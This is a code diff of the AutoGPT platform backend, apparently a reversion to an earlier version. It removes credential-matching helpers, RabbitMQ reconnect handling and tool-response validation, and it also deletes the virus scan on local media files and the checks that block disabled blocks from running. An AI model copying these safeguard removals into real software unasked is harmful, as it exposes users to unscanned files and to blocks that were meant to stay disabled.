-            if field_info.discriminator and field_info.discriminator_mapping:
-                discriminator_value = input_data.get(field_info.discriminator)
-                if discriminator_value is None:
-                    field = block.input_schema.model_fields.get(
-                        field_info.discriminator
-                    )
-                    if field and field.default is not PydanticUndefined:
-                        discriminator_value = field.default
-
-                if (
-                    discriminator_value
-                    and discriminator_value in field_info.discriminator_mapping
-                ):
-                    effective_field_info = field_info.discriminate(discriminator_value)
-                    # For host-scoped credentials, add the discriminator value
-                    # (e.g., URL) so _credential_is_for_host can match it
-                    effective_field_info.discriminator_values.add(discriminator_value)
-                    logger.debug(
-                        f"Discriminated provider for {field_name}: "
-                        f"{discriminator_value} -> {effective_field_info.provider}"
-                    )
-
-            resolved[field_name] = effective_field_info
-
-        return resolved
+        return inputs_list

autogpt_platform/backend/backend/api/features/chat/tools/run_block_test.py

@@ -1,106 +0,0 @@
-"""Tests for block execution guards in RunBlockTool."""
-
-from unittest.mock import MagicMock, patch
-
-import pytest
-
-from backend.api.features.chat.tools.models import ErrorResponse
-from backend.api.features.chat.tools.run_block import RunBlockTool
-from backend.data.block import BlockType
-
-from ._test_data import make_session
-
-_TEST_USER_ID = "test-user-run-block"
-
-
-def make_mock_block(
-    block_id: str, name: str, block_type: BlockType, disabled: bool = False
-):
-    """Create a mock block for testing."""
-    mock = MagicMock()
-    mock.id = block_id
-    mock.name = name
-    mock.block_type = block_type
-    mock.disabled = disabled
-    mock.input_schema = MagicMock()
-    mock.input_schema.jsonschema.return_value = {"properties": {}, "required": []}
-    mock.input_schema.get_credentials_fields_info.return_value = []
-    return mock
-
-
-class TestRunBlockFiltering:
-    """Tests for block execution guards in RunBlockTool."""
-
-    @pytest.mark.asyncio(loop_scope="session")
-    async def test_excluded_block_type_returns_error(self):
-        """Attempting to execute a block with excluded BlockType returns error."""
-        session = make_session(user_id=_TEST_USER_ID)
-
-        input_block = make_mock_block("input-block-id", "Input Block", BlockType.INPUT)
-
-        with patch(
-            "backend.api.features.chat.tools.run_block.get_block",
-            return_value=input_block,
-        ):
-            tool = RunBlockTool()
-            response = await tool._execute(
-                user_id=_TEST_USER_ID,
-                session=session,
-                block_id="input-block-id",
-                input_data={},
-            )
-
-        assert isinstance(response, ErrorResponse)
-        assert "cannot be run directly in CoPilot" in response.message
-        assert "designed for use within graphs only" in response.message
-
-    @pytest.mark.asyncio(loop_scope="session")
-    async def test_excluded_block_id_returns_error(self):
-        """Attempting to execute SmartDecisionMakerBlock returns error."""
-        session = make_session(user_id=_TEST_USER_ID)
-
-        smart_decision_id = "3b191d9f-356f-482d-8238-ba04b6d18381"
-        smart_block = make_mock_block(
-            smart_decision_id, "Smart Decision Maker", BlockType.STANDARD
-        )
-
-        with patch(
-            "backend.api.features.chat.tools.run_block.get_block",
-            return_value=smart_block,
-        ):
-            tool = RunBlockTool()
-            response = await tool._execute(
-                user_id=_TEST_USER_ID,
-                session=session,
-                block_id=smart_decision_id,
-                input_data={},
-            )
-
-        assert isinstance(response, ErrorResponse)
-        assert "cannot be run directly in CoPilot" in response.message
-
-    @pytest.mark.asyncio(loop_scope="session")
-    async def test_non_excluded_block_passes_guard(self):
-        """Non-excluded blocks pass the filtering guard (may fail later for other reasons)."""
-        session = make_session(user_id=_TEST_USER_ID)
-
-        standard_block = make_mock_block(
-            "standard-id", "HTTP Request", BlockType.STANDARD
-        )
-
-        with patch(
-            "backend.api.features.chat.tools.run_block.get_block",
-            return_value=standard_block,
-        ):
-            tool = RunBlockTool()
-            response = await tool._execute(
-                user_id=_TEST_USER_ID,
-                session=session,
-                block_id="standard-id",
-                input_data={},
-            )
-
-        # Should NOT be an ErrorResponse about CoPilot exclusion
-        # (may be other errors like missing credentials, but not the exclusion guard)
-        if isinstance(response, ErrorResponse):
-            assert "cannot be run directly in CoPilot" not in response.message

autogpt_platform/backend/backend/api/features/chat/tools/utils.py

@@ -8,7 +8,6 @@ from backend.api.features.library import model as library_model
 from backend.api.features.store import db as store_db
 from backend.data.graph import GraphModel
 from backend.data.model import (
-    Credentials,
     CredentialsFieldInfo,
     CredentialsMetaInput,
     HostScopedCredentials,
@@ -224,99 +223,6 @@ async def get_or_create_library_agent(
     return library_agents[0]
 
 
-async def match_credentials_to_requirements(
-    user_id: str,
-    requirements: dict[str, CredentialsFieldInfo],
-) -> tuple[dict[str, CredentialsMetaInput], list[CredentialsMetaInput]]:
-    """
-    Match user's credentials against a dictionary of credential requirements.
-
-    This is the core matching logic shared by both graph and block credential matching.
-    """
-    matched: dict[str, CredentialsMetaInput] = {}
-    missing: list[CredentialsMetaInput] = []
-
-    if not requirements:
-        return matched, missing
-
-    available_creds = await get_user_credentials(user_id)
-
-    for field_name, field_info in requirements.items():
-        matching_cred = find_matching_credential(available_creds, field_info)
-
-        if matching_cred:
-            try:
-                matched[field_name] = create_credential_meta_from_match(matching_cred)
-            except Exception as e:
-                logger.error(
-                    f"Failed to create CredentialsMetaInput for field '{field_name}': "
-                    f"provider={matching_cred.provider}, type={matching_cred.type}, "
-                    f"credential_id={matching_cred.id}",
-                    exc_info=True,
-                )
-                provider = next(iter(field_info.provider), "unknown")
-                cred_type = next(iter(field_info.supported_types), "api_key")
-                missing.append(
-                    CredentialsMetaInput(
-                        id=field_name,
-                        provider=provider,  # type: ignore
-                        type=cred_type,  # type: ignore
-                        title=f"{field_name} (validation failed: {e})",
-                    )
-                )
-        else:
-            provider = next(iter(field_info.provider), "unknown")
-            cred_type = next(iter(field_info.supported_types), "api_key")
-            missing.append(
-                CredentialsMetaInput(
-                    id=field_name,
-                    provider=provider,  # type: ignore
-                    type=cred_type,  # type: ignore
-                    title=field_name.replace("_", " ").title(),
-                )
-            )
-
-    return matched, missing
-
-
-async def get_user_credentials(user_id: str) -> list[Credentials]:
-    """Get all available credentials for a user."""
-    creds_manager = IntegrationCredentialsManager()
-    return await creds_manager.store.get_all_creds(user_id)
-
-
-def find_matching_credential(
-    available_creds: list[Credentials],
-    field_info: CredentialsFieldInfo,
-) -> Credentials | None:
-    """Find a credential that matches the required provider, type, scopes, and host."""
-    for cred in available_creds:
-        if cred.provider not in field_info.provider:
-            continue
-        if cred.type not in field_info.supported_types:
-            continue
-        if cred.type == "oauth2" and not _credential_has_required_scopes(
-            cred, field_info
-        ):
-            continue
-        if cred.type == "host_scoped" and not _credential_is_for_host(cred, field_info):
-            continue
-        return cred
-    return None
-
-
-def create_credential_meta_from_match(
-    matching_cred: Credentials,
-) -> CredentialsMetaInput:
-    """Create a CredentialsMetaInput from a matched credential."""
-    return CredentialsMetaInput(
-        id=matching_cred.id,
-        provider=matching_cred.provider,  # type: ignore
-        type=matching_cred.type,
-        title=matching_cred.title,
-    )
-
-
 async def match_user_credentials_to_graph(
     user_id: str,
     graph: GraphModel,
@@ -425,6 +331,8 @@ def _credential_has_required_scopes(
     # If no scopes are required, any credential matches
     if not requirements.required_scopes:
         return True
+
+    # Check that credential scopes are a superset of required scopes
     return set(credential.scopes).issuperset(requirements.required_scopes)
 
 

autogpt_platform/backend/backend/api/features/store/hybrid_search.py

@@ -8,7 +8,6 @@ Includes BM25 reranking for improved lexical relevance.
 
 import logging
 import re
-import time
 from dataclasses import dataclass
 from typing import Any, Literal
 
@@ -363,11 +362,7 @@ async def unified_hybrid_search(
         LIMIT {limit_param} OFFSET {offset_param}
     """
 
-    try:
-        results = await query_raw_with_schema(sql_query, *params)
-    except Exception as e:
-        await _log_vector_error_diagnostics(e)
-        raise
+    results = await query_raw_with_schema(sql_query, *params)
 
     total = results[0]["total_count"] if results else 0
     # Apply BM25 reranking
@@ -691,11 +686,7 @@ async def hybrid_search(
         LIMIT {limit_param} OFFSET {offset_param}
     """
 
-    try:
-        results = await query_raw_with_schema(sql_query, *params)
-    except Exception as e:
-        await _log_vector_error_diagnostics(e)
-        raise
+    results = await query_raw_with_schema(sql_query, *params)
 
     total = results[0]["total_count"] if results else 0
 
@@ -727,87 +718,6 @@ async def hybrid_search_simple(
     return await hybrid_search(query=query, page=page, page_size=page_size)
 
 
-# ============================================================================
-# Diagnostics
-# ============================================================================
-
-# Rate limit: only log vector error diagnostics once per this interval
-_VECTOR_DIAG_INTERVAL_SECONDS = 60
-_last_vector_diag_time: float = 0
-
-
-async def _log_vector_error_diagnostics(error: Exception) -> None:
-    """Log diagnostic info when 'type vector does not exist' error occurs.
-
-    Note: Diagnostic queries use query_raw_with_schema which may run on a different
-    pooled connection than the one that failed. Session-level search_path can differ,
-    so these diagnostics show cluster-wide state, not necessarily the failed session.
-
-    Includes rate limiting to avoid log spam - only logs once per minute.
-    Caller should re-raise the error after calling this function.
-    """
-    global _last_vector_diag_time
-
-    # Check if this is the vector type error
-    error_str = str(error).lower()
-    if not (
-        "type" in error_str and "vector" in error_str and "does not exist" in error_str
-    ):
-        return
-
-    # Rate limit: only log once per interval
-    now = time.time()
-    if now - _last_vector_diag_time < _VECTOR_DIAG_INTERVAL_SECONDS:
-        return
-    _last_vector_diag_time = now
-
-    try:
-        diagnostics: dict[str, object] = {}
-
-        try:
-            search_path_result = await query_raw_with_schema("SHOW search_path")
-            diagnostics["search_path"] = search_path_result
-        except Exception as e:
-            diagnostics["search_path"] = f"Error: {e}"
-
-        try:
-            schema_result = await query_raw_with_schema("SELECT current_schema()")
-            diagnostics["current_schema"] = schema_result
-        except Exception as e:
-            diagnostics["current_schema"] = f"Error: {e}"
-
-        try:
-            user_result = await query_raw_with_schema(
-                "SELECT current_user, session_user, current_database()"
-            )
-            diagnostics["user_info"] = user_result
-        except Exception as e:
-            diagnostics["user_info"] = f"Error: {e}"
-
-        try:
-            # Check pgvector extension installation (cluster-wide, stable info)
-            ext_result = await query_raw_with_schema(
-                "SELECT extname, extversion, nspname as schema "
-                "FROM pg_extension e "
-                "JOIN pg_namespace n ON e.extnamespace = n.oid "
-                "WHERE extname = 'vector'"
-            )
-            diagnostics["pgvector_extension"] = ext_result
-        except Exception as e:
-            diagnostics["pgvector_extension"] = f"Error: {e}"
-
-        logger.error(
-            f"Vector type error diagnostics:\n"
-            f"  Error: {error}\n"
-            f"  search_path: {diagnostics.get('search_path')}\n"
-            f"  current_schema: {diagnostics.get('current_schema')}\n"
-            f"  user_info: {diagnostics.get('user_info')}\n"
-            f"  pgvector_extension: {diagnostics.get('pgvector_extension')}"
-        )
-    except Exception as diag_error:
-        logger.error(f"Failed to collect vector error diagnostics: {diag_error}")
-
-
 # Backward compatibility alias - HybridSearchWeights maps to StoreAgentSearchWeights
 # for existing code that expects the popularity parameter
 HybridSearchWeights = StoreAgentSearchWeights

autogpt_platform/backend/backend/blocks/human_in_the_loop.py

@@ -21,71 +21,43 @@ logger = logging.getLogger(__name__)
 
 class HumanInTheLoopBlock(Block):
     """
-    Pauses execution and waits for human approval or rejection of the data.
+    This block pauses execution and waits for human approval or modification of the data.
 
-    When executed, this block creates a pending review entry and sets the node execution
-    status to REVIEW. The execution remains paused until a human user either approves
-    or rejects the data.
+    When executed, it creates a pending review entry and sets the node execution status
+    to REVIEW. The execution will remain paused until a human user either:
+    - Approves the data (with or without modifications)
+    - Rejects the data
 
-    **How it works:**
-    - The input data is presented to a human reviewer
-    - The reviewer can approve or reject (and optionally modify the data if editable)
-    - On approval: the data flows out through the `approved_data` output pin
-    - On rejection: the data flows out through the `rejected_data` output pin
-
-    **Important:** The output pins yield the actual data itself, NOT status strings.
-    The approval/rejection decision determines WHICH output pin fires, not the value.
-    You do NOT need to compare the output to "APPROVED" or "REJECTED" - simply connect
-    downstream blocks to the appropriate output pin for each case.
-
-    **Example usage:**
-    - Connect `approved_data` → next step in your workflow (data was approved)
-    - Connect `rejected_data` → error handling or notification (data was rejected)
+    This is useful for workflows that require human validation or intervention before
+    proceeding to the next steps.
     """
 
     class Input(BlockSchemaInput):
-        data: Any = SchemaField(
-            description="The data to be reviewed by a human user. "
-            "This exact data will be passed through to either approved_data or "
-            "rejected_data output based on the reviewer's decision."
-        )
+        data: Any = SchemaField(description="The data to be reviewed by a human user")
         name: str = SchemaField(
-            description="A descriptive name for what this data represents. "
-            "This helps the reviewer understand what they are reviewing.",
+            description="A descriptive name for what this data represents",
         )
         editable: bool = SchemaField(
-            description="Whether the human reviewer can edit the data before "
-            "approving or rejecting it",
+            description="Whether the human reviewer can edit the data",
             default=True,
             advanced=True,
         )
 
     class Output(BlockSchemaOutput):
         approved_data: Any = SchemaField(
-            description="Outputs the input data when the reviewer APPROVES it. "
-            "The value is the actual data itself (not a status string like 'APPROVED'). "
-            "If the reviewer edited the data, this contains the modified version. "
-            "Connect downstream blocks here for the 'approved' workflow path."
+            description="The data when approved (may be modified by reviewer)"
         )
         rejected_data: Any = SchemaField(
-            description="Outputs the input data when the reviewer REJECTS it. "
-            "The value is the actual data itself (not a status string like 'REJECTED'). "
-            "If the reviewer edited the data, this contains the modified version. "
-            "Connect downstream blocks here for the 'rejected' workflow path."
+            description="The data when rejected (may be modified by reviewer)"
         )
         review_message: str = SchemaField(
-            description="Optional message provided by the reviewer explaining their "
-            "decision. Only outputs when the reviewer provides a message; "
-            "this pin does not fire if no message was given.",
-            default="",
+            description="Any message provided by the reviewer", default=""
         )
 
     def __init__(self):
         super().__init__(
             id="8b2a7b3c-6e9d-4a5f-8c1b-2e3f4a5b6c7d",
-            description="Pause execution for human review. Data flows through "
-            "approved_data or rejected_data output based on the reviewer's decision. "
-            "Outputs contain the actual data, not status strings.",
+            description="Pause execution and wait for human approval or modification of data",
             categories={BlockCategory.BASIC},
             input_schema=HumanInTheLoopBlock.Input,
             output_schema=HumanInTheLoopBlock.Output,

autogpt_platform/backend/backend/blocks/llm.py

@@ -531,12 +531,12 @@ class LLMResponse(BaseModel):
 
 def convert_openai_tool_fmt_to_anthropic(
     openai_tools: list[dict] | None = None,
-) -> Iterable[ToolParam] | anthropic.Omit:
+) -> Iterable[ToolParam] | anthropic.NotGiven:
     """
     Convert OpenAI tool format to Anthropic tool format.
     """
     if not openai_tools or len(openai_tools) == 0:
-        return anthropic.omit
+        return anthropic.NOT_GIVEN
 
     anthropic_tools = []
     for tool in openai_tools:

autogpt_platform/backend/backend/data/execution_queue_test.py

@@ -3,6 +3,8 @@
 import queue
 import threading
 
+import pytest
+
 from backend.data.execution import ExecutionQueue
 
 

autogpt_platform/backend/backend/data/graph.py

@@ -743,11 +743,6 @@ class GraphModel(Graph, GraphMeta):
                 # For invalid blocks, we still raise immediately as this is a structural issue
                 raise ValueError(f"Invalid block {node.block_id} for node #{node.id}")
 
-            if block.disabled:
-                raise ValueError(
-                    f"Block {node.block_id} is disabled and cannot be used in graphs"
-                )
-
             node_input_mask = (
                 nodes_input_masks.get(node.id, {}) if nodes_input_masks else {}
             )

autogpt_platform/backend/backend/data/rabbitmq.py

@@ -1,4 +1,3 @@
-import asyncio
 import logging
 from abc import ABC, abstractmethod
 from enum import Enum
@@ -226,10 +225,6 @@ class SyncRabbitMQ(RabbitMQBase):
 class AsyncRabbitMQ(RabbitMQBase):
     """Asynchronous RabbitMQ client"""
 
-    def __init__(self, config: RabbitMQConfig):
-        super().__init__(config)
-        self._reconnect_lock: asyncio.Lock | None = None
-
     @property
     def is_connected(self) -> bool:
         return bool(self._connection and not self._connection.is_closed)
@@ -240,17 +235,7 @@ class AsyncRabbitMQ(RabbitMQBase):
 
     @conn_retry("AsyncRabbitMQ", "Acquiring async connection")
     async def connect(self):
-        if self.is_connected and self._channel and not self._channel.is_closed:
-            return
-
-        if (
-            self.is_connected
-            and self._connection
-            and (self._channel is None or self._channel.is_closed)
-        ):
-            self._channel = await self._connection.channel()
-            await self._channel.set_qos(prefetch_count=1)
-            await self.declare_infrastructure()
+        if self.is_connected:
             return
 
         self._connection = await aio_pika.connect_robust(
@@ -306,46 +291,24 @@ class AsyncRabbitMQ(RabbitMQBase):
                     exchange, routing_key=queue.routing_key or queue.name
                 )
 
-    @property
-    def _lock(self) -> asyncio.Lock:
-        if self._reconnect_lock is None:
-            self._reconnect_lock = asyncio.Lock()
-        return self._reconnect_lock
-
-    async def _ensure_channel(self) -> aio_pika.abc.AbstractChannel:
-        """Get a valid channel, reconnecting if the current one is stale.
-
-        Uses a lock to prevent concurrent reconnection attempts from racing.
-        """
-        if self.is_ready:
-            return self._channel  # type: ignore  # is_ready guarantees non-None
-
-        async with self._lock:
-            # Double-check after acquiring lock
-            if self.is_ready:
-                return self._channel  # type: ignore
-
-            self._channel = None
-            await self.connect()
-
-            if self._channel is None:
-                raise RuntimeError("Channel should be established after connect")
-
-            return self._channel
-
-    async def _publish_once(
+    @func_retry
+    async def publish_message(
         self,
         routing_key: str,
         message: str,
         exchange: Optional[Exchange] = None,
         persistent: bool = True,
     ) -> None:
-        channel = await self._ensure_channel()
+        if not self.is_ready:
+            await self.connect()
+
+        if self._channel is None:
+            raise RuntimeError("Channel should be established after connect")
 
         if exchange:
-            exchange_obj = await channel.get_exchange(exchange.name)
+            exchange_obj = await self._channel.get_exchange(exchange.name)
         else:
-            exchange_obj = channel.default_exchange
+            exchange_obj = self._channel.default_exchange
 
         await exchange_obj.publish(
             aio_pika.Message(
@@ -359,23 +322,9 @@ class AsyncRabbitMQ(RabbitMQBase):
             routing_key=routing_key,
         )
 
-    @func_retry
-    async def publish_message(
-        self,
-        routing_key: str,
-        message: str,
-        exchange: Optional[Exchange] = None,
-        persistent: bool = True,
-    ) -> None:
-        try:
-            await self._publish_once(routing_key, message, exchange, persistent)
-        except aio_pika.exceptions.ChannelInvalidStateError:
-            logger.warning(
-                "RabbitMQ channel invalid, forcing reconnect and retrying publish"
-            )
-            async with self._lock:
-                self._channel = None
-            await self._publish_once(routing_key, message, exchange, persistent)
-
     async def get_channel(self) -> aio_pika.abc.AbstractChannel:
-        return await self._ensure_channel()
+        if not self.is_ready:
+            await self.connect()
+        if self._channel is None:
+            raise RuntimeError("Channel should be established after connect")
+        return self._channel

autogpt_platform/backend/backend/executor/manager.py

@@ -213,9 +213,6 @@ async def execute_node(
         block_name=node_block.name,
     )
 
-    if node_block.disabled:
-        raise ValueError(f"Block {node_block.id} is disabled and cannot be executed")
-
     # Sanity check: validate the execution input.
     input_data, error = validate_exec(node, data.inputs, resolve_input=False)
     if input_data is None:

autogpt_platform/backend/backend/util/file.py

@@ -342,14 +342,6 @@ async def store_media_file(
         if not target_path.is_file():
             raise ValueError(f"Local file does not exist: {target_path}")
 
-        # Virus scan the local file before any further processing
-        local_content = target_path.read_bytes()
-        if len(local_content) > MAX_FILE_SIZE_BYTES:
-            raise ValueError(
-                f"File too large: {len(local_content)} bytes > {MAX_FILE_SIZE_BYTES} bytes"
-            )
-        await scan_content_safe(local_content, filename=sanitized_file)
-
     # Return based on requested format
     if return_format == "for_local_processing":
         # Use when processing files locally with tools like ffmpeg, MoviePy, PIL

autogpt_platform/backend/backend/util/file_test.py

@@ -247,100 +247,3 @@ class TestFileCloudIntegration:
                     execution_context=make_test_context(graph_exec_id=graph_exec_id),
                     return_format="for_local_processing",
                 )
-
-    @pytest.mark.asyncio
-    async def test_store_media_file_local_path_scanned(self):
-        """Test that local file paths are scanned for viruses."""
-        graph_exec_id = "test-exec-123"
-        local_file = "test_video.mp4"
-        file_content = b"fake video content"
-
-        with patch(
-            "backend.util.file.get_cloud_storage_handler"
-        ) as mock_handler_getter, patch(
-            "backend.util.file.scan_content_safe"
-        ) as mock_scan, patch(
-            "backend.util.file.Path"
-        ) as mock_path_class:
-
-            # Mock cloud storage handler - not a cloud path
-            mock_handler = MagicMock()
-            mock_handler.is_cloud_path.return_value = False
-            mock_handler_getter.return_value = mock_handler
-
-            # Mock virus scanner
-            mock_scan.return_value = None
-
-            # Mock file system operations
-            mock_base_path = MagicMock()
-            mock_target_path = MagicMock()
-            mock_resolved_path = MagicMock()
-
-            mock_path_class.return_value = mock_base_path
-            mock_base_path.mkdir = MagicMock()
-            mock_base_path.__truediv__ = MagicMock(return_value=mock_target_path)
-            mock_target_path.resolve.return_value = mock_resolved_path
-            mock_resolved_path.is_relative_to.return_value = True
-            mock_resolved_path.is_file.return_value = True
-            mock_resolved_path.read_bytes.return_value = file_content
-            mock_resolved_path.relative_to.return_value = Path(local_file)
-            mock_resolved_path.name = local_file
-
-            result = await store_media_file(
-                file=MediaFileType(local_file),
-                execution_context=make_test_context(graph_exec_id=graph_exec_id),
-                return_format="for_local_processing",
-            )
-
-            # Verify virus scan was called for local file
-            mock_scan.assert_called_once_with(file_content, filename=local_file)
-
-            # Result should be the relative path
-            assert str(result) == local_file
-
-    @pytest.mark.asyncio
-    async def test_store_media_file_local_path_virus_detected(self):
-        """Test that infected local files raise VirusDetectedError."""
-        from backend.api.features.store.exceptions import VirusDetectedError
-
-        graph_exec_id = "test-exec-123"
-        local_file = "infected.exe"
-        file_content = b"malicious content"
-
-        with patch(
-            "backend.util.file.get_cloud_storage_handler"
-        ) as mock_handler_getter, patch(
-            "backend.util.file.scan_content_safe"
-        ) as mock_scan, patch(
-            "backend.util.file.Path"
-        ) as mock_path_class:
-
-            # Mock cloud storage handler - not a cloud path
-            mock_handler = MagicMock()
-            mock_handler.is_cloud_path.return_value = False
-            mock_handler_getter.return_value = mock_handler
-
-            # Mock virus scanner to detect virus
-            mock_scan.side_effect = VirusDetectedError(
-                "EICAR-Test-File", "File rejected due to virus detection"
-            )
-
-            # Mock file system operations
-            mock_base_path = MagicMock()
-            mock_target_path = MagicMock()
-            mock_resolved_path = MagicMock()
-
-            mock_path_class.return_value = mock_base_path
-            mock_base_path.mkdir = MagicMock()
-            mock_base_path.__truediv__ = MagicMock(return_value=mock_target_path)
-            mock_target_path.resolve.return_value = mock_resolved_path
-            mock_resolved_path.is_relative_to.return_value = True
-            mock_resolved_path.is_file.return_value = True
-            mock_resolved_path.read_bytes.return_value = file_content
-
-            with pytest.raises(VirusDetectedError):
-                await store_media_file(
-                    file=MediaFileType(local_file),
-                    execution_context=make_test_context(graph_exec_id=graph_exec_id),
-                    return_format="for_local_processing",
-                )

autogpt_platform/backend/backend/util/prompt.py

@@ -364,44 +364,6 @@ def _remove_orphan_tool_responses(
     return result
 
 
-def validate_and_remove_orphan_tool_responses(
-    messages: list[dict],
-    log_warning: bool = True,
-) -> list[dict]:
-    """
-    Validate tool_call/tool_response pairs and remove orphaned responses.
-
-    Scans messages in order, tracking all tool_call IDs. Any tool response
-    referencing an ID not seen in a preceding message is considered orphaned
-    and removed. This prevents API errors like Anthropic's "unexpected tool_use_id".
-
-    Args:
-        messages: List of messages to validate (OpenAI or Anthropic format)
-        log_warning: Whether to log a warning when orphans are found
-
-    Returns:
-        A new list with orphaned tool responses removed
-    """
-    available_ids: set[str] = set()
-    orphan_ids: set[str] = set()
-
-    for msg in messages:
-        available_ids |= _extract_tool_call_ids_from_message(msg)
-        for resp_id in _extract_tool_response_ids_from_message(msg):
-            if resp_id not in available_ids:
-                orphan_ids.add(resp_id)
-
-    if not orphan_ids:
-        return messages
-
-    if log_warning:
-        logger.warning(
-            f"Removing {len(orphan_ids)} orphan tool response(s): {orphan_ids}"
-        )
-
-    return _remove_orphan_tool_responses(messages, orphan_ids)
-
-
 def _ensure_tool_pairs_intact(
     recent_messages: list[dict],
     all_messages: list[dict],
@@ -761,13 +723,6 @@ async def compress_context(
 
     # Filter out any None values that may have been introduced
     final_msgs: list[dict] = [m for m in msgs if m is not None]
-
-    # ---- STEP 6: Final tool-pair validation ---------------------------------
-    # After all compression steps, verify that every tool response has a
-    # matching tool_call in a preceding assistant message. Remove orphans
-    # to prevent API errors (e.g., Anthropic's "unexpected tool_use_id").
-    final_msgs = validate_and_remove_orphan_tool_responses(final_msgs)
-
     final_count = sum(_msg_tokens(m, enc) for m in final_msgs)
     error = None
     if final_count + reserve > target_tokens:

autogpt_platform/backend/poetry.lock

@@ -46,14 +46,14 @@ pycares = ">=4.9.0,<5"
 
 [[package]]
 name = "aiofiles"
-version = "25.1.0"
+version = "24.1.0"
 description = "File support for asyncio."
 optional = false
-python-versions = ">=3.9"
+python-versions = ">=3.8"
 groups = ["main"]
 files = [
-    {file = "aiofiles-25.1.0-py3-none-any.whl", hash = "sha256:abe311e527c862958650f9438e859c1fa7568a141b22abcd015e120e86a85695"},
-    {file = "aiofiles-25.1.0.tar.gz", hash = "sha256:a8d728f0a29de45dc521f18f07297428d56992a742f0cd2701ba86e44d23d5b2"},
+    {file = "aiofiles-24.1.0-py3-none-any.whl", hash = "sha256:b4ec55f4195e3eb5d7abd1bf7e061763e864dd4954231fb8539a0ef8bb8260e5"},
+    {file = "aiofiles-24.1.0.tar.gz", hash = "sha256:22a075c9e5a3810f0c2e48f3008c94d68c65d763b9b03857924c99e57355166c"},
 ]
 
 [[package]]
@@ -269,20 +269,19 @@ files = [
 
 [[package]]
 name = "anthropic"
-version = "0.79.0"
+version = "0.59.0"
 description = "The official Python library for the anthropic API"
 optional = false
-python-versions = ">=3.9"
+python-versions = ">=3.8"
 groups = ["main"]
 files = [
-    {file = "anthropic-0.79.0-py3-none-any.whl", hash = "sha256:04cbd473b6bbda4ca2e41dd670fe2f829a911530f01697d0a1e37321eb75f3cf"},
-    {file = "anthropic-0.79.0.tar.gz", hash = "sha256:8707aafb3b1176ed6c13e2b1c9fb3efddce90d17aee5d8b83a86c70dcdcca871"},
+    {file = "anthropic-0.59.0-py3-none-any.whl", hash = "sha256:cbc8b3dccef66ad6435c4fa1d317e5ebb092399a4b88b33a09dc4bf3944c3183"},
+    {file = "anthropic-0.59.0.tar.gz", hash = "sha256:d710d1ef0547ebbb64b03f219e44ba078e83fc83752b96a9b22e9726b523fd8f"},
 ]
 
 [package.dependencies]
 anyio = ">=3.5.0,<5"
 distro = ">=1.7.0,<2"
-docstring-parser = ">=0.15,<1"
 httpx = ">=0.25.0,<1"
 jiter = ">=0.4.0,<1"
 pydantic = ">=1.9.0,<3"
@@ -290,7 +289,7 @@ sniffio = "*"
 typing-extensions = ">=4.10,<5"
 
 [package.extras]
-aiohttp = ["aiohttp", "httpx-aiohttp (>=0.1.9)"]
+aiohttp = ["aiohttp", "httpx-aiohttp (>=0.1.8)"]
 bedrock = ["boto3 (>=1.28.57)", "botocore (>=1.31.57)"]
 vertex = ["google-auth[requests] (>=2,<3)"]
 
@@ -439,7 +438,7 @@ develop = true
 
 [package.dependencies]
 colorama = "^0.4.6"
-cryptography = "^46.0"
+cryptography = "^45.0"
 expiringdict = "^1.2.2"
 fastapi = "^0.128.0"
 google-cloud-logging = "^3.13.0"
@@ -897,29 +896,6 @@ files = [
     {file = "charset_normalizer-3.4.4.tar.gz", hash = "sha256:94537985111c35f28720e43603b8e7b43a6ecfb2ce1d3058bbe955b73404e21a"},
 ]
 
-[[package]]
-name = "claude-agent-sdk"
-version = "0.1.35"
-description = "Python SDK for Claude Code"
-optional = false
-python-versions = ">=3.10"
-groups = ["main"]
-files = [
-    {file = "claude_agent_sdk-0.1.35-py3-none-macosx_11_0_arm64.whl", hash = "sha256:df67f4deade77b16a9678b3a626c176498e40417f33b04beda9628287f375591"},
-    {file = "claude_agent_sdk-0.1.35-py3-none-manylinux_2_17_aarch64.whl", hash = "sha256:14963944f55ded7c8ed518feebfa5b4284aa6dd8d81aeff2e5b21a962ce65097"},
-    {file = "claude_agent_sdk-0.1.35-py3-none-manylinux_2_17_x86_64.whl", hash = "sha256:84344dcc535d179c1fc8a11c6f34c37c3b583447bdf09d869effb26514fd7a65"},
-    {file = "claude_agent_sdk-0.1.35-py3-none-win_amd64.whl", hash = "sha256:1b3d54b47448c93f6f372acd4d1757f047c3c1e8ef5804be7a1e3e53e2c79a5f"},
-    {file = "claude_agent_sdk-0.1.35.tar.gz", hash = "sha256:0f98e2b3c71ca85abfc042e7a35c648df88e87fda41c52e6779ef7b038dcbb52"},
-]
-
-[package.dependencies]
-anyio = ">=4.0.0"
-mcp = ">=0.1.0"
-typing-extensions = {version = ">=4.0.0", markers = "python_version < \"3.11\""}
-
-[package.extras]
-dev = ["anyio[trio] (>=4.0.0)", "mypy (>=1.0.0)", "pytest (>=7.0.0)", "pytest-asyncio (>=0.20.0)", "pytest-cov (>=4.0.0)", "ruff (>=0.1.0)"]
-
 [[package]]
 name = "cleo"
 version = "2.1.0"
@@ -994,75 +970,62 @@ pytz = ">2021.1"
 
 [[package]]
 name = "cryptography"
-version = "46.0.4"
+version = "45.0.7"
 description = "cryptography is a package which provides cryptographic recipes and primitives to Python developers."
 optional = false
-python-versions = "!=3.9.0,!=3.9.1,>=3.8"
+python-versions = "!=3.9.0,!=3.9.1,>=3.7"
 groups = ["main"]
 files = [
-    {file = "cryptography-46.0.4-cp311-abi3-macosx_10_9_universal2.whl", hash = "sha256:281526e865ed4166009e235afadf3a4c4cba6056f99336a99efba65336fd5485"},
-    {file = "cryptography-46.0.4-cp311-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:5f14fba5bf6f4390d7ff8f086c566454bff0411f6d8aa7af79c88b6f9267aecc"},
-    {file = "cryptography-46.0.4-cp311-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:47bcd19517e6389132f76e2d5303ded6cf3f78903da2158a671be8de024f4cd0"},
-    {file = "cryptography-46.0.4-cp311-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:01df4f50f314fbe7009f54046e908d1754f19d0c6d3070df1e6268c5a4af09fa"},
-    {file = "cryptography-46.0.4-cp311-abi3-manylinux_2_28_ppc64le.whl", hash = "sha256:5aa3e463596b0087b3da0dbe2b2487e9fc261d25da85754e30e3b40637d61f81"},
-    {file = "cryptography-46.0.4-cp311-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:0a9ad24359fee86f131836a9ac3bffc9329e956624a2d379b613f8f8abaf5255"},
